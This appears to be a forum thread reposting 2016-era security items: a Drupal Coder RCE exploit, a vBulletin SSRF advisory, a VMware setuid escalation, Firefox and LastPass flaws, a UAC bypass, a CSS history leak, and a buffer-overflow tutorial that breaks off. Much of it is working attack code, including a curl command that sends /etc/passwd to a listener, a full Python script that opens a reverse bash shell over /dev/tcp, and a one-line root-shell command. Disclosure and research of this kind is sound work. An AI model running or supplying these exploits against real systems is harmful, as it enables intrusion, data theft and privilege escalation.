Nytro

Drupal Module Coder < 7.x-1.3 / 7.x-2.6 - Remote Code Execution Exploit (SA-CONTRIB-2016-039) <?php # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039) # https://www.drupal.org/node/2765575 # by Raz0r (http://raz0r.name) # # E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5 $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd"; $host = "http://localhost:81/drupal-7.12/"; $a = array( "upgrades" => array( "coder_upgrade" => array( "module" => "color", "files" => array("color.module") ) ), "extensions" => array("module"), "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")), "paths" => array( "modules_base" => "../../../", "files_base" => "../../../../sites/default/files" ) ); $payload = serialize($a); file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?> Sursa: https://www.exploit-db.com/exploits/40144/

============================================= - Discovered by: Dawid Golunski - http://legalhackers.com - dawid (at) legalhackers.com - CVE-2016-6483 - Release date: 05.08.2016 - Severity: High ============================================= I. VULNERABILITY ------------------------- vBulletin <= 5.2.2 Preauth Server Side Request Forgery (SSRF) vBulletin <= 4.2.3 vBulletin <= 3.8.9 II. BACKGROUND ------------------------- vBulletin (vB) is a proprietary Internet forum software package developed by vBulletin Solutions, Inc., a division of Internet Brands. https://www.vbulletin.com/ https://en.wikipedia.org/wiki/VBulletin A google search for "Powered by vBulletin" returns over 19 million sites that are hosting a vBulletin forum: https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22 III. INTRODUCTION ------------------------- vBulletin forum software is affected by a SSRF vulnerability that allows unauthenticated remote attackers to access internal services (such as mail servers, memcached, couchDB, zabbix etc.) running on the server hosting vBulletin as well as services on other servers on the local network that are accessible from the target. This advisory provides a PoC exploit that demonstrates how an unauthenticated attacker could perform a port scan of the internal services as well as execute arbitrary system commands on a target vBulletin host with a locally installed Zabbix Agent monitoring service. IV. DESCRIPTION ------------------------- vBulletin allows forum users to share media fiels by uploading them to the remote server. Some pages allow users to specify a URL to a media file that a user wants to share which will then be retrieved by vBulletin. The user-provided links are validated to make sure that users can only access resources from HTTP/HTTPS protocols and that connections are not allowed in to the localhost. These restrictions can be found in core/vb/vurl/curl.php source file: /** * Determine if the url is safe to load * * @param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host * @return boolean */ private function validateUrl($urlinfo) { // VBV-11823, only allow http/https schemes if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https'))) { return false; } // VBV-11823, do not allow localhost and 127.0.0.0/8 range by default if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host'])) { return false; } if (empty($urlinfo['port'])) { if ($urlinfo['scheme'] == 'https') { $urlinfo['port'] = 443; } else { $urlinfo['port'] = 80; } } // VBV-11823, restrict detination ports to 80 and 443 by default // allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to). $config = vB::getConfig(); [...] HTTP redirects are also prohibited however there is one place in the vBulletin codebase that accepts redirects from the target server specified in a user-provided link. The code is used to upload media files within a logged-in user's profile and can normally be accessed under a path similar to: http://forum/vBulletin522/member/1-mike/media By specifying a link to a malicious server that returns a 301 HTTP redirect to the URL of http://localhost:3306 for example, an attacker could easily bypass the restrictions presented above and make a connection to mysql/3306 service listening on the localhost. This introduces a Server Side Request Forgery (SSRF) vulnerability. As curl is used to fetch remote resources, in addition to HTTP, attackers could specify a handful of other protocols to interact with local services. For instance, by sending a redirect to gopher://localhost:11211/datahere attackers could send arbitrary traffic to memcached service on 11211 port. Additionally, depending on the temporary directory location configured within the forum, attackers could potentially view the service responses as the download function stores responses within temporary files which could be viewed if the temporary directory is exposed on the web server. V. PROOF OF CONCEPT EXPLOIT ------------------------- The exploit code below performs a port scan as well as demonstrates remote command execution via a popular Zabbix Agent monitoring service which might be listening on local port of 10050. The exploit will execute a reverse bash shell on the target if it has the agent installed and permits remote commands. The exploit was verified on the following zabbix agent configuration (/etc/zabbix/zabbix_agentd.conf): Server=127.0.0.1,::1 EnableRemoteCommands=1 ------------[ vBulletin_SSRF_exploit.py ]----------- #!/usr/bin/python intro = """ vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE) This PoC exploits an SSRF vulnerability in vBulletin to scan internal services installed on the web server that is hosting the vBulletin forum. After the scan, the exploit also checks for a Zabbix Agent (10050) port and gives an option to execute a reverse shell (Remote Commands) that will connect back to the attacker's host on port 8080 by default. Coded by: Dawid Golunski http://legalhackers.com """ usage = """ Usage: The exploit requires that you have an external IP and can start a listener on port 80/443 on the attacking machine. ./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port] Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85 on the remote vBulletin target host: ./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85 Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g: nc -vv -l -p 8080 Disclaimer: For testing purposes only. Do no harm. SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target. """ import web # http://webpy.org/installation import threading import time import urllib import urllib2 import socket import ssl import sys # The listener that will send redirects to the targe class RedirectServer(threading.Thread): def run (self): urls = ('/([0-9a-z_]+)', 'do_local_redir') app = web.application(urls, globals()) #app.run() return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port)) class do_local_redir: def GET(self,whereto): if whereto == "zabbixcmd_redir": # code exec # redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &') ; sleep 2s] return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } ) else: # internal port connection return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} ) def shutdown(code): print "\nJob done. Exiting" if redirector_started == 1: web.httpserver.server.interrupt = KeyboardInterrupt() exit(code) # [ Default settings ] # reverse shell will connect back to port defined below shell_port = 8080 # Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it) our_port = 443 # How long to wait (seconds) before considering a port to be opened. # Don't set it too high to avoid service timeout and an incorrect close state connect_time = 2 # Default port scan range is limited to 20-90 to speed up things when testing, # feel free to increase maxport to 65535 here or on the command line if you've # got the time ;) minport = 20 maxport = 90 # ignore invalid certs (enable if target forum is HTTPS) #ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) # [ Main Meat ] print intro redirector_started = 0 if len(sys.argv) < 3 : print usage sys.exit(2) # Set our HTTP Listener/Redirector's external IP our_ext_ip = sys.argv[1] try: socket.inet_aton(our_ext_ip) except socket.error: print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip exit(2) our_server = "http://%s:%s" % (our_ext_ip, our_port) # Target forum base URL (e.g. http://vulnerable-vbulletin/forum) targetforum = sys.argv[2] # Append vulnerable media upload script path to the base URL targeturl = targetforum.strip('/') + "/link/getlinkdata" # Change port range (if provided) if (len(sys.argv) == 5) : minport = int(sys.argv[3]) # Finish scanning at maxport maxport = int(sys.argv[4]) # Confirm data print "\n* Confirm your settings\n" print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport) key = raw_input("Are these settings correct? Hit enter to start the port scan... ") # Connection check print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } ) try: response = urllib2.urlopen(req, timeout=connect_time).read() except urllib2.URLError as e: print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason shutdown(2) # Server should return 'invalid_url' string if not url provided in POST if "invalid_url" not in response: print """Invalid target url (%s) or restricted access.\n \nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl) sys.exit(2) else: print "Got the right response from the URL. The target looks vulnerable!\n" # [ Start the listener and perform a port scan ] print "Let's begin!\n" print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port) RedirectServer().start() redirector_started = 1 print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum) start = time.time() opened_ports = [] maxport+=1 for targetport in range(minport, maxport): #print "\n\nScanning port %d\n" % (targetport) fetchurl = '%s/%d' % (our_server, targetport) data = urllib.urlencode({'url' : fetchurl}) req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) try: response = urllib2.urlopen(req, timeout=connect_time) except urllib2.URLError, e: print "Oops, url issue? 403 , 404 etc.\n" except socket.timeout, ssl.SSLError: print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport) opened_ports.append(targetport) elapsed = (time.time() - start) print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum) for listening in opened_ports: print "Port %d : Opened\n" % listening print "\nAnything juicy? :)\n" if 10050 in opened_ports: print "* Zabbix Agent was found on port 10050 !\n" # [ Command execution via Zabbix Agent to gain a reverse shell ] key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ") if key != 'y' : shutdown(0) print "\n* Executing reverse shell via Zabbix Agent (10050)." fetchurl = '%s/%s' % (our_server, 'zabbixcmd_redir') data = urllib.urlencode({'url' : fetchurl}) req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) payload_executed = 0 try: response = urllib2.urlopen(req, timeout=connect_time) except urllib2.URLError, e: print "Oops, url issue? 403 , 404 etc.\n" except socket.timeout, ssl.SSLError: # Agent connection remained opened for 2 seconds after the bash payload was sent, # it looks like the sleep 2s shell command must have got executed sucessfuly payload_executed = 1 if (payload_executed == 1) : print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port else: print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n" shutdown(0) ----------------------[ eof ]------------------------ Example run: root@trusty:~/vbexploit# ./vBulletin_SSRF_exploit.py 192.168.57.10 http://192.168.57.10/vBulletin522new/ 20 85 vBulletin <= 5.2.2 SSRF PoC Exploit (Localhost Portscan / Zabbix Agent RCE) This PoC exploits an SSRF vulnerability in vBulletin to scan internal services installed on the web server that is hosting the vBulletin forum. After the scan, the exploit also checks for a Zabbix Agent (10050) port and gives an option to execute a reverse shell (Remote Commands) that will connect back to the attacker's host on port 8080 by default. Coded by: Dawid Golunski http://legalhackers.com * Confirm your settings Redirect server to listen on: 192.168.57.10:443 Target vBulletin URL: http://192.168.57.10/vBulletin522new/link/getlinkdata Scan ports between: 20 - 85 Are these settings correct? Hit enter to start the port scan... * Testing connection to vulnerable script at [http://192.168.57.10/vBulletin522new/link/getlinkdata] Got the right response from the URL. The target looks vulnerable! Let's begin! * Starting our redirect base server on 192.168.57.10:443 * Scanning local ports from 20 to 85 on [http://192.168.57.10/vBulletin522new/] target http://0.0.0.0:443/ 192.168.57.10:58675 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /20" - 301 192.168.57.10:58679 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /21" - 301 192.168.57.10:58683 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /22" - 301 Conection opened for 2 seconds. Port 22 is opened! 192.168.57.10:58686 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /23" - 301 192.168.57.10:58690 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /24" - 301 192.168.57.10:58694 - - [30/Jul/2016 03:00:28] "HTTP/1.1 GET /25" - 301 Conection opened for 2 seconds. Port 25 is opened! 192.168.57.10:58697 - - [30/Jul/2016 03:00:30] "HTTP/1.1 GET /26" - 301 [...] 192.168.57.10:58909 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /79" - 301 192.168.57.10:58913 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /80" - 301 Conection opened for 2 seconds. Port 80 is opened! 192.168.57.10:58917 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /81" - 301 192.168.57.10:58921 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /82" - 301 192.168.57.10:58925 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /83" - 301 192.168.57.10:58929 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /84" - 301 192.168.57.10:58933 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /85" - 301 Scanning done in 14 seconds. * Opened ports on the target [http://192.168.57.10/vBulletin522new/]: Port 22 : Opened Port 25 : Opened Port 80 : Opened Anything juicy? :) Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] y * Executing reverse shell via Zabbix Agent (10050). 192.168.57.10:58940 - - [30/Jul/2016 03:00:45] "HTTP/1.1 GET /zabbixcmd_redir" - 301 Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port 8080 for shell! :) Job done. Exiting Here is how the netcat session looks like after a sucessful exploitation: $ nc -vvv -l -p 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [192.168.57.10] port 8080 [tcp/*] accepted (family 2, sport 54259) zabbix@trusty:/$ id id uid=122(zabbix) gid=129(zabbix) groups=129(zabbix) zabbix@trusty:/$ As we can see reverse shell was executed on the target which sucessfully connected back to the attacker's netcat listener. VI. BUSINESS IMPACT ------------------------- The vulnerability can expose internal services running on the server/within the local network. If not patched, unauthenticated attackers or automated scanners searching for vulnerable servers could send malicious data to internal services. Depending on services in use, the impact could range from sensitive information disclosure, sending spam, DoS/data loss to code execution as demonstrated by the PoC exploit in this advisory. VII. SYSTEMS AFFECTED ------------------------- All vBulletin forums in all branches (5.x, 4.x , 3.x) without the latest patches named in the next section are affected by this vulnerability. VIII. SOLUTION ------------------------- Upon this advisory, vendor has published the following security releases of vBulletin for each of the affected branches: vBulletin 5.2.3 vBulletin 4.2.4 Beta vBulletin 3.8.10 Beta Separate patches have also been released (see references below). IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6483 vBulletin patches: http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349551-security-patch-vbulletin-5-2-0-5-2-1-5-2-2 http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349549-security-patch-vbulletin-4-2-2-4-2-3-4-2-4-beta http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349548-security-patch-vbulletin-3-8-7-3-8-8-3-8-9-3-8-10-beta X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 05.08.2016 - final advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. Sursa: http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

CSS mix-blend-mode is bad for your browsing history Up until mid-2010, any rogue website could get a good sense of your browsing habits by specifying a distinctive :visited CSS pseudo-class for any links on the page, rendering thousands of interesting URLs off-screen, and then calling the getComputedStyle API to figure out which pages appear in your browser's history. After some deliberation, browser vendors have closed this loophole by disallowing almost all attributes in :visited selectors, spare for the fairly indispensable ability to alter foreground and background colors for such links. The APIs have been also redesigned to prevent the disclosure of this color information via getComputedStyle. This workaround did not fully eliminate the ability to probe your browsing history, but limited it to scenarios where the user can be tricked into unwittingly feeding the style information back to the website one URL at a time. Several fairly convincing attacks have been demonstrated against patched browsers - my own 2013 entry can be found here - but they generally depended on the ability to solicit one click per every URL tested. In other words, the whole thing did not scale particularly well. Or at least, it wasn't supposed to. In 2014, I described a neat trick that exploited normally imperceptible color quantization errors within the browser, amplified by stacking elements hundreds of times, to implement an n-to-2n decoder circuit using just the background-color and opacity properties on overlaid <a href=...> elements to easily probe the browsing history of multiple URLs with a single click. To explain the basic principle, imagine wanting to test two links, and dividing the screen into four regions, like so: Region #1 is lit only when both links are not visited (¬ link_a ∧ ¬ link_b), Region #2 is lit only when link A is not visited but link B is visited (¬ link_a ∧ link_b), Region #3 is lit only when link A is visited but link B is not (link_a ∧ ¬ link_b), Region #4 is lit only when both links are visited (link_a ∧ link_b). While the page couldn't directly query the visibility of the segments, we just had to convince the user to click the visible segment once to get the browsing history for both links, for example under the guise of dismissing a pop-up ad. (Of course, the attack could be scaled to far more than just 2 URLs.) This problem was eventually addressed by browser vendors by simply improving the accuracy of color quantization when overlaying HTML elements; while this did not eliminate the risk, it made the attack far more computationally intensive, requiring the evil page to stack millions of elements to get practical results. Gave over? Well, not entirely. In the footnote of my 2014 article, I mentioned this: "There is an upcoming CSS feature called mix-blend-mode, which permits non-linear mixing with operators such as multiply, lighten, darken, and a couple more. These operators make Boolean algebra much simpler and if they ship in their current shape, they will remove the need for all the fun with quantization errors, successive overlays, and such. That said, mix-blend-mode is not available in any browser today." As you might have guessed, patience is a virtue! As of mid-2016, mix-blend-mode - a feature to allow advanced compositing of bitmaps, very similar to the layer blending modes available in photo-editing tools such as Photoshop and GIMP - is shipping in Chrome and Firefox. And as it happens, in addition to their intended purpose, these non-linear blending operators permit us to implement arbitrary Boolean algebra. For example, to implement AND, all we need to do is use multiply: black (0) x black (0) = black (0) black (0) x white (1) = black (0) white (1) x black (0) = black (0) white (1) x white (1) = white (1) For a practical demo, click here. A single click in that whack-a-mole game will reveal the state of 9 visited links to the JavaScript executing on the page. If this was an actual game and if it continued for a bit longer, probing the state of hundreds or thousands of URLs would not be particularly hard to pull off. Sursa: https://lcamtuf.blogspot.ro/2016/08/css-mix-blend-mode-is-bad-for-keeping.html Sursa: https://lcamtuf.blogspot.ro/2016/08/css-mix-blend-mode-is-bad-for-keeping.html

VMware - Setuid vmware-mount Popen lsb_release Privilege Escalation (VMSA-2013-0010) // Source: http://blog.cmpxchg8b.com/2013/08/security-debianisms.html On most modern Linux systems, /bin/sh is provided by bash, which detects that it's being invoked as sh, and attempts to mimic traditional sh. As everyone who works in security quickly learns, bash will drop privileges very early if uid != euid. 488 489 if (running_setuid && privileged_mode == 0) 490 disable_priv_mode (); 491 Where disable_priv_mode is defined as: 1202 void 1203 disable_priv_mode () 1204 { 1205 setuid (current_user.uid); 1206 setgid (current_user.gid); 1207 current_user.euid = current_user.uid; 1208 current_user.egid = current_user.gid; 1209 } Non-Linux systems tend to use pdksh as /bin/sh, which also supports privmode since version 5.0.5: 307 /* Turning off -p? */ 308 if (f == FPRIVILEGED && oldval && !newval) { 309 #ifdef OS2 310 ; 311 #else /* OS2 */ 312 setuid(ksheuid = getuid()); 313 setgid(getgid()); 314 #endif /* OS2 */ 315 } else if (f == FPOSIX && newval) { This is surprisingly effective at mitigating some common vulnerability classes and misconfigurations. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3) calls in setuid executables", see section 7 of the bash NOTES file. However, this never really happens on Debian derived systems. Debian (and therefore Ubuntu) will use dash by default (see https://wiki.debian.org/DashAsBinSh), or disable it with this patch if you choose to use bash: http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff A nice example of this failing can be observed in the VMware utilities, which try to invoke lsb_release with popen() to learn about the current execution environment. This means you can get a nice easy root shell like this on any Debian/Ubuntu derived system with VMware installed: $ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount # whoami root It looks like Debian originally decided they didn't want privmode because it broke UUCP (!?). http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586 VMware do list Debian/Ubuntu as supported host platforms though, so they have published a fix for this issue today. If you care about this and can't wait for the patch, you can temporarily remove the setuid bit from vmware-mount like this: # chmod u-s /usr/bin/vmware-mount Note that it is almost impossible to use popen() or system() safely in a setuid program without privmode, even if you specify the full path. This is a fun example from back in 2005, but there are lots more cases. In conclusion, too bad if an otherwise unexploitable bug becomes exploitable, that's the price you pay for high quality uucp support in 2013 ;-) P.S. If you don't know what uucp is, you can read more about it on fidonet or at my gopher site. P.P.S. I sent the dash maintainers a patch today, but I'm not sure if they're interested. Sursa: https://www.exploit-db.com/exploits/40169/

FireFox Local File Disclosure and Same Origin Policy bypass It's possible to read external websites and any file on a victims computer using the 'Save Page As' functionality on Firefox. This is reliant on Firefox's allowance of reading files in the same directory in the file: URI scheme. Which was deemed 'by design'. You can do this with Google Chrome but you can't read the saved files, so Google did not consider this a bug. The PoC The following is the original PoC reported: <html> <head> <title>POC</title> <link rel="stylesheet" href="file:///C://" /> <link rel="stylesheet" href="https://www.facebook.com/" /> </head> <body> <textarea style="width: 434px; height: 310px;" id="facebook"></textarea> <textarea style="width: 434px; height: 310px;" id="files"></textarea> <script type="application/javascript"> var doQ = (q) => { //Simple XMLHttpRequest try { var oReq = new XMLHttpRequest(); oReq.addEventListener("load", function(e) { console.dir(e) }); oReq.open("GET", q, false); oReq.send(); } catch (e) { alert('File not found or restricted.') }; return oReq.response; }; if (location.protocol == 'file:') { facebook.value = doQ('./POC_files/a.htm'); files.value = doQ('./POC_files/a'); } else { alert('Please hit CTRL+S and save this page first then open it locally.'); } </script> </body> </html> Basically, when there is a reference to any website or local file using something like a link tag, initially Firefox blocks these, however, when a user saves the webpage, the 'Save webpage as' part does not do any checks on whether the files being downloaded are legitimate. After the files are downloaded, the folder they are in are predictable (same as title + _files) and so we are able to read a victims local files and external websites with full credentials. Result Screenshot Sursa: http://leucosite.com/FireFox-LFD-and-SOP-Bypass/

How I made LastPass give me all your passwords 2016.07.27 labsdetectify Cross Site ScriptingLastpassMathias KarlssonXSS Note: This issue has already been resolved and pushed to the Lastpass users. Stealing all your passwords by just visiting a webpage. Sounds too bad to be true? That’s what I thought too before I decided to check out the security of the LastPass browser extension. For those who don’t know, LastPass is one of the world’s most popular password managers. I started by noticing that the extension added some HTML code to every page I visited, so I decided to dig into how that worked. A few cups of coffee later, I found something that looked really, really bad. The issue The bug that allowed me to extract passwords was found in the autofill functionality. First, the code parsed the URL to figure out which domain the browser was currently at, then it filled any login forms with the stored credentials. However, the URL parsing code was flawed (bug in URL parsing? shocker!). This was the code (lpParseUri function, un-minified): var fixedURL = URL.match(/^(.*:\/\/[^\/]+\/.*)@/); fixedURL && (url = url.substring(0, fixedURL[1].length) + url.substring(fixedURL[1].length).replace(/@/g, "%40")); By browsing this URL: http://avlidienbrunn.se/@twitter.com/@hehe.php the browser would treat the current domain as avlidienbrunn.se while the extension would treat it as twitter.com. Since the code only URL encodes the last occurence of @, the actual domain is treated as the username portion of the URL. Too bad to be true? Below you see that the extension would fill my form with the stored credentials for twitter.com. After that I could simply go through other commonly used sites and extract credentials for those too. I reported this to LastPass through their responsible disclosure page and the report was handled very professionally. The fix was pushed in less than a day(!), and they even awarded me with a bug bounty of $1,000. Are passwords managers bad? Should we stop using password managers? No. They are still much better than the alternative (password reuse). Although, taking a second to disable autofill functionality is a good move because this isn’t the first autofill bug we’ve seen, and I doubt it will be the last. Also, this would not work if multi factor authentication was on, so you should probably enable that as well. Updates Update #1 2016.07.28: There has been a lot of comments regarding the reward Mathias received from Lastpass. At the time Mathias submitted this they didn’t have a bug bounty so he was more than satisfied with $1,000. Update #2 2016.07.28: Lastpass have made a comment regarding Mathias finding on their blog. Sursa: https://labs.detectify.com/2016/07/27/how-i-made-lastpass-give-me-all-your-passwords/

Bypassing UAC on Windows 10 using Disk Cleanup Matt Graeber (@mattifestation) and I recently dug into Windows 10, and discovered a rather interesting method of bypassing User Account Control (if you aren’t familiar with UAC you can read more about it here). Currently, there are a couple of public UAC bypass techniques, most of which require a privileged file copy using the IFileOperation COM object or WUSA extraction to take advantage of a DLL hijack. You can dig into some of the public bypasses here (by @hfiref0x). The technique covered in this post differs from the other methods and provides a useful alternative as it does not rely on a privileged file copy or any code injection. A common technique used to investigate loading behavior on Windows is to use SysInternals Process Monitor to analyze how a process behaves when executed. After investigating some default Scheduled Tasks that exist on Windows 10 and their corresponding actions, we found that a scheduled task named “SilentCleanup” is configured on stock Windows 10 installations to be launchable by unprivileged users but to run with elevated/high integrity privileges. To find this, we simply went through each task and inspected the security options for “Run with Highest Privileges” to be checked with a non-elevated User Account (such as ‘Users’). Taking a closer look with procmon, we found that the actual process started by the scheduled task, cleanmgr.exe, auto-elevates due to “execute with highest privileges” being set in the task configuration. Let’s dive in a bit more. When cleanmgr.exe executes, it creates a new folder with the name of a GUID in “C:\Users\<username>\AppData\Local\Temp”. Once cleanmgr.exe creates the temporary folder, it then copies multiple DLLs along with “dismhost.exe” into the new folder: After copying DismHost.exe and its DLLs to “C:\Users\<username>\AppData\Temp\<guid>”, cleanmgr.exe then starts “dismhost.exe” out of the newly created path as a high integrity process: Since dismhost.exe launches out of “C:\Users\<username>\AppData\Local\Temp\<guid>”, it begins to load DLLs out of the same folder in a certain order: Because the current medium integrity user has write access to the user’s %TEMP% directory, it is possible to hijack a DLL loaded by dismhost.exe and obtain code execution in a high integrity process. This is commonly known as a “BypassUAC” attack. Since this particular situation is a race condition, we have to replace the target DLL before dismhost.exe loads it. We examined the entire process more closely and determined that “LogProvider.dll” is the last DLL loaded by dismhost.exe, giving us the best chance for a hijack opportunity. With this information, we can use a WMI event to monitor for the creation of “C:\Users\<username>\AppData\Local\Temp\<guid>” and then assign that WMI event an action of hijacking “LogProvider.dll” by copying our “malicious” DLL into “C:\Users\<username>\AppData\Local\Temp\<guid>” and naming it “LogProvider.dll”. Since this action happens before dismhost.exe loads it, it will load our DLL instead of the intended one. Once dismhost.exe loads the DLL, it will load as high integrity, allowing us to bypass User Access Control and obtain code execution as a high integrity process. After additional testing, this technique does not apply to standard user accounts as cleanmgr.exe does not extract any files to %TEMP%. When executed as a standard user in low or medium integrity, the task runs as medium integrity and never elevates past that. Matt Graeber (@mattifestation) wrote an excellent PoC PowerShell script that will register a WMI event to monitor for the creation of the GUID folder by cleanmgr.exe and once detected, it will take the specified DLL and copy it to the GUID folder with the name of “LogProvider.dll”. Once dismhost.exe goes to load “LogProvider.dll”, it will be our malicious DLL instead of the legitimate one, thus bypassing UAC and giving us code execution in High Integrity context. You can find the script here: https://gist.github.com/mattifestation/b4072a066574caccfa07fcf723952d54 To test this, you simply need the PoC script and a DLL with a standard export of dllmain. For testing, you can either create your own DLL or use a simple MessageBox one located here: https://github.com/enigma0x3/MessageBox This technique differs from the other public techniques by having a few benefits that can be handy: This technique does not require any process injection, meaning the attack won’t get flagged by security solutions that monitor for this type of behavior. There is no privileged file copy required. Most UAC bypasses require some sort of privileged file copy in order to get a malicious DLL into a secure location to setup a DLL hijack. Since the scheduled task copies the required stuff to %TEMP%, no privileged file copy is required. This technique cleans up after itself. After the scheduled task is done (and loads our malicious DLL), the task deletes the GUID folder (and files) that it created in %TEMP%. This technique works with the UAC level being set at its highest setting (“Always Notify”) since the task is set to run with “Highest Privileges”. The majority of the public UAC bypasses rely on the IFileOperation COM object to perform a privileged file copy. IFileOperation honors the “Always Notify” UAC setting and prompts when set, causing the privileged file copy to fail: This was disclosed to Microsoft Security Response Center (MSRC) on 07/20/2016. As expected, they responded by noting that UAC isn’t a security boundary, so this doesn’t classify as a security vulnerability, as stated here. While not a vulnerability, it does allow an attacker an alternate method to move to high integrity that differs from previous bypasses and introduces one more location or chokepoint that must be monitored to observe attacker behavior. This particular technique can be remediated or fixed by disabling the task or removing the requirement for running with highest privileges. Further, if you would like to monitor for this attack, you could utilize methods/signatures to look for new WMI events as it is required to monitor for new folder creation for this attack to succeed. Combining this with App/DLL whitelisting and monitoring for abnormal modules being loaded (e.g. Sysmon event ID 7) would also limit the success of such an attack. *Update: As always, users should follow best practices and not use an administrative account for daily computer usage. Sursa: https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

Buffer Overflows and you! Posted on July 22, 2016 by T0w3ntum in Exploit Development I wanted to do an article on Buffer Overflows, there are many articles on Buffer Overflows, but this one is mine! I’m going to take it easy on the first go and do a simple Stack Based buffer overflow. So let’s get started. For this I’ll be using vulnserver. It’s an intentionally vulnerable binary for you to practice on. I did this from my Windows 10 machine, but you are free to use whatever flavor of Windows you want. Simply download the files, unzip, and run it. Now remember, this is intentionally vulnerable…So maybe turn off your internet or run it in a VM. Fuzzing So let’s load up immunity and see what happens when we throw a bunch of crap at it. I’ll be targeting the TRUN function of vulnserver. First we need some fuzzer code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/user/bin/python import socket import sys buffer=["A"] counter=100 while len(buffer) <= 100: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "[+] Fuzzing vulnserver with %s bytes" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send( sys.argv[1]+" ."+string) #Note the "." as it's important. data = s.recv(1024) print data s.send('EXIT\r\n') s.close() When we run this, we get a crash around 2100 bytes. We can easily verify that the EIP is overwritten by looking at the CPU Registers in immunity. Note the EIP is now full of 41414141 or AAAA. This means that our long string of A’s has overwritten the EIP register and broke the flow of the application as 41414141 is not a valid address. Gaining Control Now that we know roughly how much data we need to throw at it to crash it, we need to find the exact point where the EIP is overwritten. This is easily done by generating a unique pattern 2100 bytes in length and crashing the application again. Luckily, the Metasploit framework comes with a handy tool for doing just that. 1 